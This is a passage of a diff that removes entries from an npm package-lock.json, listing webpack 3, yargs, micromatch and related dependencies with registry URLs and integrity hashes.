"sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-data-descriptor": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", - "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "is-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", - "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" - } - }, - "kind-of": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", - "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", - "dev": true, - "optional": true - } - } - }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "optional": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", - "dev": true, - "optional": true, - "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, - "fsevents": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", - "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", - "dev": true, - "optional": true, - "requires": { - "bindings": "^1.5.0", - "nan": "^2.12.1" - } - }, - "glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", - "dev": true, - "optional": true, - "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - }, - "dependencies": { - "is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.0" - } - } - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - }, - "is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", - "dev": true, - "optional": true - }, - "is-glob": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", - "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.1" - } - }, - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "optional": true - }, - "kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true, - "optional": true - }, - "micromatch": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", - "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", - "dev": true, - "optional": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" - } - }, - "nan": { - "version": "2.14.1", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.1.tgz", - "integrity": "sha512-isWHgVjnFjh2x2yuJ/tj3JbwoHu3UC2dX5G/88Cm24yB6YopVgxvBObDY7n5xW6ExmFhJpSEQqFPvq9zaXc8Jw==", - "dev": true, - "optional": true - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "optional": true - }, - "readdirp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", - "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", - "dev": true, - "optional": true, - "requires": { - "graceful-fs": "^4.1.11", - "micromatch": "^3.1.10", - "readable-stream": "^2.0.2" - } - }, - "upath": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", - "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", - "dev": true, - "optional": true - } - } - }, - "webidl-conversions": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", - "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==" - }, - "webpack": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-3.12.0.tgz", - "integrity": "sha512-Sw7MdIIOv/nkzPzee4o0EdvCuPmxT98+vVpIvwtcwcF1Q4SDSNp92vwcKc4REe7NItH9f1S4ra9FuQ7yuYZ8bQ==", - "dev": true, - "requires": { - "acorn": "^5.0.0", - "acorn-dynamic-import": "^2.0.0", - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0", - "async": "^2.1.2", - "enhanced-resolve": "^3.4.0", - "escope": "^3.6.0", - "interpret": "^1.0.0", - "json-loader": "^0.5.4", - "json5": "^0.5.1", - "loader-runner": "^2.3.0", - "loader-utils": "^1.1.0", - "memory-fs": "~0.4.1", - "mkdirp": "~0.5.0", - "node-libs-browser": "^2.0.0", - "source-map": "^0.5.3", - "supports-color": "^4.2.1", - "tapable": "^0.2.7", - "uglifyjs-webpack-plugin": "^0.4.6", - "watchpack": "^1.4.0", - "webpack-sources": "^1.0.1", - "yargs": "^8.0.2" - }, - "dependencies": { - "acorn": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.1.tgz", - "integrity": "sha512-d+nbxBUGKg7Arpsvbnlq61mc12ek3EY8EQldM3GPAhWJ1UVxC6TDGbIvUMNU6obBX3i1+ptCIzV4vq0gFPEGVQ==", - "dev": true - }, - "acorn-dynamic-import": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-2.0.2.tgz", - "integrity": "sha1-x1K9IQvvZ5UBtsbLf8hPj0cVjMQ=", - "dev": true, - "requires": { - "acorn": "^4.0.3" - }, - "dependencies": { - "acorn": { - "version": "4.0.13", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", - "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=", - "dev": true - } - } - }, - "ajv": { - "version": "6.5.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.2.tgz", - "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", - "dev": true, - "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.1" - } - }, - "ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "requires": {} - }, - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "async": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", - "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", - "dev": true, - "requires": { - "lodash": "^4.17.10" - } - }, - "camelcase": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", - "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", - "dev": true - }, - "cliui": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", - "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", - "dev": true, - "requires": { - "center-align": "^0.1.1", - "right-align": "^0.1.1", - "wordwrap": "0.0.2" - } - }, - "enhanced-resolve": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-3.4.1.tgz", - "integrity": "sha1-BCHjOf1xQZs9oT0Smzl5BAIwR24=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "object-assign": "^4.0.1", - "tapable": "^0.2.7" - } - }, - "fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } - }, - "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "load-json-file": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz", - "integrity": "sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "parse-json": "^2.2.0", - "pify": "^2.0.0", - "strip-bom": "^3.0.0" - } - }, - "os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", - "dev": true, - "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" - } - }, - "path-type": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-2.0.0.tgz", - "integrity": "sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=", - "dev": true, - "requires": { - "pify": "^2.0.0" - } - }, - "read-pkg": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-2.0.0.tgz", - "integrity": "sha1-jvHAYjxqbbDcZxPEv6xGMysjaPg=", - "dev": true, - "requires": { - "load-json-file": "^2.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^2.0.0" - } - }, - "read-pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-2.0.0.tgz", - "integrity": "sha1-a3KoBImE4MQeeVEP1en6mbO1Sb4=", - "dev": true, - "requires": { - "find-up": "^2.0.0", - "read-pkg": "^2.0.0" - } - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "dependencies": { - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - } - } - }, - "strip-bom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", - "integrity": "sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=", - "dev": true - }, - "supports-color": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.5.0.tgz", - "integrity": "sha1-vnoN5ITexcXN34s9WRJQRJEvY1s=", - "dev": true, - "requires": { - "has-flag": "^2.0.0" - } - }, - "tapable": { - "version": "0.2.8", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-0.2.8.tgz", - "integrity": "sha1-mTcqXJmb8t8WCvwNdL7U9HlIzSI=", - "dev": true - }, - "uglify-js": { - "version": "2.8.29", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.8.29.tgz", - "integrity": "sha1-KcVzMUgFe7Th913zW3qcty5qWd0=", - "dev": true, - "requires": { - "source-map": "~0.5.1", - "uglify-to-browserify": "~1.0.0", - "yargs": "~3.10.0" - }, - "dependencies": { - "yargs": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", - "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", - "dev": true, - "requires": { - "camelcase": "^1.0.2", - "cliui": "^2.1.0", - "decamelize": "^1.0.0", - "window-size": "0.1.0" - } - } - } - }, - "uglifyjs-webpack-plugin": { - "version": "0.4.6", - "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-0.4.6.tgz", - "integrity": "sha1-uVH0q7a9YX5m9j64kUmOORdj4wk=", - "dev": true, - "requires": { - "source-map": "^0.5.6", - "uglify-js": "^2.8.29", - "webpack-sources": "^1.0.1" - } - }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, - "wordwrap": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", - "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", - "dev": true - }, - "yargs": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-8.0.2.tgz", - "integrity": "sha1-YpmpBVsc78lp/355wdkY3Osiw2A=", - "dev": true, - "requires": { - "camelcase": "^4.1.0", - "cliui": "^3.2.0", - "decamelize": "^1.1.1", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "read-pkg-up": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^7.0.0" - }, - "dependencies": { - "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true - }, - "cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "dev": true, - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - } - } - }, - "yargs-parser": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-7.0.0.tgz", - "integrity": "sha1-jQrELxbqVd69MyyvTEA4s+P139k=", - "dev": true, - "requires": { - "camelcase": "^4.1.0" - }, - "dependencies": { - "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", - "dev": true - } - } - } - } - }, - "webpack-sources": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.1.0.tgz", - "integrity": "sha512-aqYp18kPphgoO5c/+NaUvEeACtZjMESmDChuD3NBciVpah3XpMEU9VAAtIaB1BsfJWWTSdv8Vv1m3T0aRk2dUw==", - "dev": true, - "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" - }, - "dependencies": { - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - } - } - }, - "websocket-driver": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", - "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", - "dev": true, - "requires": { - "http-parser-js": ">=0.4.0", - "websocket-extensions": ">=0.1.1" - } - }, - "websocket-extensions": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.3.tgz", - "integrity": "sha512-nqHUnMXmBzT0w570r2JpJxfiSD1IzoI+HGVdd3aZ0yNi3ngvQ4jv1dtHt5VGxfI2yj5yqImPhOK4vmIh2xMbGg==", - "dev": true - }, - "whatwg-fetch": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", - "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==", - "dev": true - }, - "whatwg-url-without-unicode": { - "version": "8.0.0-1", - "resolved": "https://registry.npmjs.org/whatwg-url-without-unicode/-/whatwg-url-without-unicode-8.0.0-1.tgz", - "integrity": "sha512-0Uy8mjsG5O8Y53327XL+ZqsrMdxO1CL/6m840SmW5iyRWFvU2zlxS2RzpD3pFFVKYOKCmsKn5JKzWxQ+bImnWA==", - "requires": { - "webidl-conversions": "^5.0.0" - } - }, - "whet.extend": { - "version": "0.9.9", - "resolved": "https://registry.npmjs.org/whet.extend/-/whet.extend-0.9.9.tgz", - "integrity": "sha1-+HfVv2SMl+WqVC+twW1qJZucEaE=", - "dev": true - }, - "which": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/which/-/which-1.0.9.tgz", - "integrity": "sha1-RgwdoPgQED0DIam2M6+eV15kSG8=", - "dev": true, - "optional": true - }, - "which-module": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", - "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=", - "dev": true - }, - "which-pm-runs": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.0.0.tgz", - "integrity": "sha1-Zws6+8VS4LVd9rd4DKdGFfI60cs=", - "dev": true, - "optional": true - }, - "wide-align": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.2.tgz", - "integrity": "sha1-Vx4PGwYEY268DfwhsDObvjE0FxA=", - "dev": true, - "requires": { - "string-width": "^1.0.2" - } - }, - "window-size": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", - "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=", - "dev": true - }, - "with": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/with/-/with-7.0.2.tgz", - "integrity": "sha512-RNGKj82nUPg3g5ygxkQl0R937xLyho1J24ItRCBTr/m1YnZkzJy1hUiHUJrc/VlsDQzsCnInEGSg3bci0Lmd4w==", - "dev": true, - "requires": { - "@babel/parser": "^7.9.6", - "@babel/types": "^7.9.6", - "assert-never": "^1.2.1", - "babel-walk": "3.0.0-canary-5" - } - }, - "wordwrap": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", - "integrity": "sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=", - "dev": true - }, - "worker-farm": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", - "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", - "dev": true, - "requires": { - "errno": "~0.1.7" - } - }, - "wp-vue-i18n": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/wp-vue-i18n/-/wp-vue-i18n-1.1.3.tgz", - "integrity": "sha512-24+ikdIPFHezwzwVHCxm685fA1gbNhIymtORVSWLSk1eWm1GQFJxm42z3hGBPwq2qQ7W2URTmN+mh3cwmA4kJA==", - "dev": true, - "requires": { - "bluebird": "^3.4.1", - "gettext-parser": "^1.2.0", - "glob": "^7.0.5", - "lodash": "^4.14.2", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "tmp": "^0.0.33" - } - }, - "wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "dev": true, - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - } - }, - "wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true - }, - "write": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", - "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", - "dev": true, - "requires": { - "mkdirp": "^0.5.1" - } - }, - "xml": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz", - "integrity": "sha1-eLpyAgApxbyHuKgaPPzXS0ovweU=", - "dev": true - }, - "xmlcreate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-1.0.2.tgz", - "integrity": "sha1-+mv3YqYKQT+z3Y9LA8WyaSONMI8=", - "dev": true - }, - "xpath-builder": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/xpath-builder/-/xpath-builder-0.0.7.tgz", - "integrity": "sha1-Z9a7w/ajIOwxfj5jaMVwa2ER3uw=", - "dev": true - }, - "xtend": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", - "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", - "dev": true - }, - "y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "dev": true - }, - "yallist": 